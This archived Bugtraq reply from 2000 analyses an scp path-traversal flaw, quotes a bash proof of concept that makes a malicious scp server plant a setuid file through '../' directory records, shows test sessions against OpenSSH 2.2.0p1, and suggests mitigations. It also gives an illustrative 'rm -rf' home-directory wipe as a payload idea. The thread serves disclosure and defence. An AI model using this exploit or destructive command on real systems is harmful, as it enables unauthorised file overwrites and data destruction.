[16987] in bugtraq

home help back first fref pref prev next nref lref last post

Re: scp file transfer hole

daemon@ATHENA.MIT.EDU (Craig Ruefenacht)
Mon Oct 2 12:07:13 2000

Mime-Version: 1.0
Content-Type: multipart/signed; protocol="application/x-pkcs7-signature";
              micalg=sha1; boundary="------------msFB7C87EB8C3EA30F6FB18434"
Message-Id:  <39D83012.5E1B9BFA@digsigtrust.com>
Date:         Mon, 2 Oct 2000 00:49:54 -0600
Reply-To: Craig Ruefenacht <ruefenac@DIGSIGTRUST.COM>
From: Craig Ruefenacht <ruefenac@DIGSIGTRUST.COM>
To: BUGTRAQ@SECURITYFOCUS.COM

This is a cryptographically signed message in MIME format.

--------------msFB7C87EB8C3EA30F6FB18434
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit

Hi,

I have two threads in this email.  The first one deals with the writing
to "arbitrary files" and the second one deals with the behavior of
OpenSSH 2.2.0p1 using the exploit given by Michal Zalewski.

> This issue appears quite often - tar suffers from problem of this kind as
> well (using cute symlink tricks, you can create an archive, which, when
> unpacked, can overwrite or create specific files anywhere in your
> filesystem). This time, similar scp vulnerability has been found and
> acknowledged in sshd 1.2.xx releases (no information on 2.0.xx).
>
> When you are scp'ing files from remote machine to your local computer,
> modified scp service on the second endpoint can spoof legitimate scp data,
> overwriting arbitrary files.

Arbitrary files being limited to what the user running scp has write
access too, at least with OpenSSH 2.2.0p1 on the local side and the ssh
program (on the local side) not being suid.

For the test I had OpenSSH 2.2.1p1 on the local end, ssh not suid, sshd
1.2.27 on the remote end, sshd running as root.  Both the local and
remote host were Solaris 2.6.

I was only able to overwrite files that I myself had permission to write
to.  While this exploit could create files on the local system that are
owned by me and suid to me, if I'm not root, its only harming myself.
Of course if I had, say, a root cron job that ran a program that I
myself had rights to, this could be a problem.  Some malicious remote
host that I scp files from could overwrite scripts that get executed by
root via cron and would have free roam of my local system.  But if its
security you are after, having a root cron that does this isn't a good
idea.  I talk about suid files farther down, which pose their own
possibilities.

IMHO it isn't a good practice to allow root to scp files to/from hosts,
or to ssh in for that matter, especially if its part of an automated
process of moving logfiles or something.  By disabling root ssh access,
a user scp'ing files can only damage files they have rights to.  To
protect yourself, make sure that everything run from root's cron (and
other automated tasks that run as root) don't run programs that are
writable by users.

With OpenSSH 2.2.0p1 as the client, to protect important files (esp
~/.ssh/authorized_keys, ~/.ssh/identity*) change them to mode 0400.  No
reason to have them writable, and if they are not writable, OpenSSH
2.2.0p1 scp won't overwrite them.  Other versions of ssh may be
vulnerable.  I'm only demonstrating OpenSSH 2.2.0p1 here.

I tried to scp a file from the remote machine and write it to the local
machine where the file already existed on the local machine (ie both
remote and local machine had exact same file), and had modes 0400 on the
local machine.  I wasn't able to overwrite the file on the local side.
Here is the session:

-+-+-+-+-+-+-+-+-+-+-

118 localhost:~> ssh remotehost "ls -al foo.txt"
Enter passphrase for RSA key 'jdoe@localhost':
-r--------   1 jdoe     user          931 Sep 27 13:26 foo.txt

119 localhost:~> whoami
jdoe

120 localhost:~> ls -al foo.txt
-r--------   1 jdoe     user          931 Sep 27 13:26 foo.txt

121 localhost:~> scp remotehost:foo.txt .
Enter passphrase for RSA key 'jdoe@localhost':
./foo.txt: Permission denied

122 localhost:~> ls -al foo.txt
-r--------   1 jdoe    user          931 Sep 27 13:26 foo.txt

-+-+-+-+-+-+-+-+-+-+-

If I change the permissions on the copy of foo.txt on the local machine
to 0600 and repeat the scp, the foo.txt file on the local machine gets
overwritten without warning.  While it can be argued that this is a bad
thing (a warning would be nice), its nothing different than using

	/bin/cp -f <sfile> <dfile>

to copy a file locally.


Now for the second thread...

> As a proof of concept, I created trivial scp replacement (put it on remote
> machine in the place of original scp binary - usually in /usr/local/bin).
> It will try to exploit any file transfer, creating setuid /tmp/ScpIsBuggy
> file on client system:
>
> --
> #!/bin/bash
>
> echo "D0755 0 ../../../../../../tmp/nope"
> echo "D0755 0 ../../../../../../tmp"
> echo "C4755 200 ScpIsBuggy"
> dd if=/dev/urandom of=/dev/stdout bs=200 count=1 2>/dev/null
> dd if=/dev/zero of=/dev/stdout bs=1 count=2 2>/dev/null
> --

Tried this exploit using the above code in place of the scp program on
the remote system (Debian Linux) running sshd 1.2.27 and the local
system running OpenSSH 2.2.0p1 on Solaris 2.6.  The exploit created a 0
byte file on the local machine with modes 4700.  Here is that session:

-+-+-+-+-+-+-+-+-+-+-

101 localhost:~> scp remotehost:foo.txt .
Enter passphrase for RSA key 'jdoe@localhost':
ScpIsBuggy             0% |               --:-- ETA
lost connection

102 localhost:~> ls -al /tmp/Scp*
-rws------   1 jdoe     user            0 Oct  2 00:06 /tmp/ScpIsBuggy

-+-+-+-+-+-+-+-+-+-+-

Here again, I had to have write permission to /tmp/ScpIsBuggy on the
local machine for the file to even be created.

However, even though the file is owned by me and suid me and is 0 bytes
with OpenSSH 2.2.0p1, other versions of ssh/scp may in fact enable a
malicious remote host to write files onto the local system anywhere the
user running scp has write permissions to and make it suid that user.
Then the user is open for attacks from other users who can log into the
local system.

For instance, if I were to scp a compiled C program that did the
equivalent of this shell script:

	#!/bin/bash
	cd
	/bin/rm -rf *

from a malicious remote host onto my local system, using a scp that
could write the program to /tmp/<program>, give ownership to me and set
to mode 4555, then anyone who can log into the local system could simply
run /tmp/<program> and delete everything in my home directory.  And all
of this could be done without me knowing where <program> was written to
on the local system.  <program> could also send email as me, basically
could do anything that I had rights to do.

Just my $0.02 worth.


--
-------------------------------------------------------------
Craig Ruefenacht                             Systems Engineer
ruefenac@digsigtrust.com              Digital Signature Trust
(801) 983-4401                    http://www.digsigtrust.com/
-------------------------------------------------------------
--------------msFB7C87EB8C3EA30F6FB18434
Content-Type: application/x-pkcs7-signature; name="smime.p7s"
Content-Transfer-Encoding: base64
Content-Disposition: attachment; filename="smime.p7s"
Content-Description: S/MIME Cryptographic Signature

MIIJWwYJKoZIhvcNAQcCoIIJTDCCCUgCAQExCzAJBgUrDgMCGgUAMAsGCSqGSIb3DQEHAaCC
BwkwggcFMIIF7aADAgECAhEA0B5HMgAAAnwAAAAeAAAg7TANBgkqhkiG9w0BAQUFADCBqTEL
MAkGA1UEBhMCdXMxDTALBgNVBAgTBFV0YWgxFzAVBgNVBAcTDlNhbHQgTGFrZSBDaXR5MSQw
IgYDVQQKExtEaWdpdGFsIFNpZ25hdHVyZSBUcnVzdCBDby4xETAPBgNVBAsTCERTVENBIFgx
MRYwFAYDVQQDEw1EU1QgUm9vdENBIFgxMSEwHwYJKoZIhvcNAQkBFhJjYUBkaWdzaWd0cnVz
dC5jb20wHhcNMDAwNzI4MDMyODU1WhcNMDEwNzI4MDMyODU1WjCB3zELMAkGA1UEBhMCVVMx
CzAJBgNVBAgTAlVUMRcwFQYDVQQHEw5TYWx0IExha2UgQ2l0eTEpMCcGA1UEChMgRFNUIFRy
dXN0SUQgUGVyc29uYWwgQ2VydGlmaWNhdGUxEzARBgNVBAsTClppb25zIEJhbmsxGzAZBgNV
BAMTEkNSQUlHIFIgUlVFRkVOQUNIVDEnMCUGCSqGSIb3DQEJARYYcnVlZmVuYWNAZGlnc2ln
dHJ1c3QuY29tMSQwIgYKCZImiZPyLGQBARMURDAxRTQ3MzIuMjdDLjFFLjIwRUIwgZ8wDQYJ
KoZIhvcNAQEBBQADgY0AMIGJAoGBAM+cCqK+n+52FFbWMEdXS3pj+gvERdJKuyVqG3qoWHMI
UZGJRPfgFKp3UHMgmLRHrONXds5ykNqnhZhLqlNAfCNMvdGGR6wo61ZMbD3at+A/55PJQlrV
xZrudT6D4aBMMZ7RXqvoZp9skv2tjnTigG9UEW8ncdnk5m7fWJ0nDI8NAgMBAAGjggNyMIID
bjCCAaIGA1UdIASCAZkwggGVMIIBkQYJYIZIAYb5LwAAMIIBgjBSBggrBgEFBQcCARZGaHR0
cHM6Ly9zZWN1cmUuZGlnc2lndHJ1c3QuY29tL2RvY3MvcG9saWNpZXMvdHMvZHN0LWNwcy12
MTk5OTA4MjQuaHRtbDCCASoGCCsGAQUFBwICMIIBHBqCARhUaGUgdmFsdWUgb2YgdGhpcyBU
cnVzdCBJRCBDZXJ0aWZpY2F0ZSwgaXRzIHJlbGlhbmNlIGxpbWl0LCBhbmQgdGhlIGxpYWJp
bGl0eSBvZiB0aGUgaXNzdWVyIGFyZSBlc3RhYmxpc2hlZCBieSBjb250cmFjdCBhbmQgbGlt
aXRlZCBieSBVdGFoIGxhdy4gIFRvIHJlYXNvbmFibHkgcmVseSBvbiB0aGlzIGNlcnRpZmlj
YXRlLCB5b3UgbXVzdCBiZSBhbiBhdXRob3JpemVkIHJlbHlpbmcgcGFydHkgYW5kIHZhbGlk
YXRlIGl0IGF0OiAgaHR0cHM6Ly9zZWN1cmUuZGlnc2lndHJ1c3QuY29tL3RzMHwGA1UdHwR1
MHMwcaBvoG2Ga2xkYXA6Ly9sZGFwLmRpZ3NpZ3RydXN0LmNvbS9vdT1EU1RDQSBYMSxvPURp
Z2l0YWwgU2lnbmF0dXJlIFRydXN0IENvLixjPVVTP2NlcnRpZmljYXRlUmV2b2NhdGlvbkxp
c3Q7YmluYXJ5MIIBKwYJYIZIAYb4QgENBIIBHBaCARhUaGUgdmFsdWUgb2YgdGhpcyBUcnVz
dCBJRCBDZXJ0aWZpY2F0ZSwgaXRzIHJlbGlhbmNlIGxpbWl0LCBhbmQgdGhlIGxpYWJpbGl0
eSBvZiB0aGUgaXNzdWVyIGFyZSBlc3RhYmxpc2hlZCBieSBjb250cmFjdCBhbmQgbGltaXRl
ZCBieSBVdGFoIGxhdy4gIFRvIHJlYXNvbmFibHkgcmVseSBvbiB0aGlzIGNlcnRpZmljYXRl
LCB5b3UgbXVzdCBiZSBhbiBhdXRob3JpemVkIHJlbHlpbmcgcGFydHkgYW5kIHZhbGlkYXRl
IGl0IGF0OiAgaHR0cHM6Ly9zZWN1cmUuZGlnc2lndHJ1c3QuY29tL3RzMAwGA1UdEwQFMAMB
AQAwCwYDVR0PBAQDAgP4MA0GCSqGSIb3DQEBBQUAA4IBAQC7UyysgYhMc+fd0weaF2jYv1Vd
RRp2CWCwVd3Q7s5SGLmkQVN2MmEZtUmlroY6/3GOZGWFaVlvzLvG0Lts17YOQvvx2pfDh3ML
lRo6+fs9S2jkUYGByM6wQSqnXhWLoYCgmUrbGEFcICj9jIDohg3siAxRJnmpSCmoHEsG8Y1P
VWbzEAW2KwZV9H64zlN4eMZwbWe3sdfK7Tn299BmD2OPvS27qXEPmOD0IG1RLUpCBJMluWWI
ldxsLfGYKuxrlUAfTZn4IVIgodlxDCsV+rve7kF+EdOY6eQOO29FhcR0SdGoHbfDAiqRCD6c
g5Ci8rcQ5+BZM94n5I5yIyUJZij5MYICGjCCAhYCAQEwgb8wgakxCzAJBgNVBAYTAnVzMQ0w
CwYDVQQIEwRVdGFoMRcwFQYDVQQHEw5TYWx0IExha2UgQ2l0eTEkMCIGA1UEChMbRGlnaXRh
bCBTaWduYXR1cmUgVHJ1c3QgQ28uMREwDwYDVQQLEwhEU1RDQSBYMTEWMBQGA1UEAxMNRFNU
IFJvb3RDQSBYMTEhMB8GCSqGSIb3DQEJARYSY2FAZGlnc2lndHJ1c3QuY29tAhEA0B5HMgAA
AnwAAAAeAAAg7TAJBgUrDgMCGgUAoIGxMBgGCSqGSIb3DQEJAzELBgkqhkiG9w0BBwEwHAYJ
KoZIhvcNAQkFMQ8XDTAwMTAwMjA2NDk1NFowIwYJKoZIhvcNAQkEMRYEFOJdoSqcpaNcebYf
/oWMIge4bBl0MFIGCSqGSIb3DQEJDzFFMEMwCgYIKoZIhvcNAwcwDgYIKoZIhvcNAwICAgCA
MAcGBSsOAwIHMA0GCCqGSIb3DQMCAgFAMA0GCCqGSIb3DQMCAgEoMA0GCSqGSIb3DQEBAQUA
BIGAf9hJohO6WXJJ3SVJUiA7xrumPVTqYnpR25WV4eBfh3ysfROoOgz0QWSbEoRHoNjZ+cXh
FkSA77QL/GmiM5Fz9EPG7V0uqMQ0Wj2U+Px+gSKZCZLpzfyW6eXGwbpW+acw3hhws2cA24Ah
ABkWJLr1z0Dm3SK6YZ8r3+5D3y60y94=
--------------msFB7C87EB8C3EA30F6FB18434--

home help back first fref pref prev next nref lref last post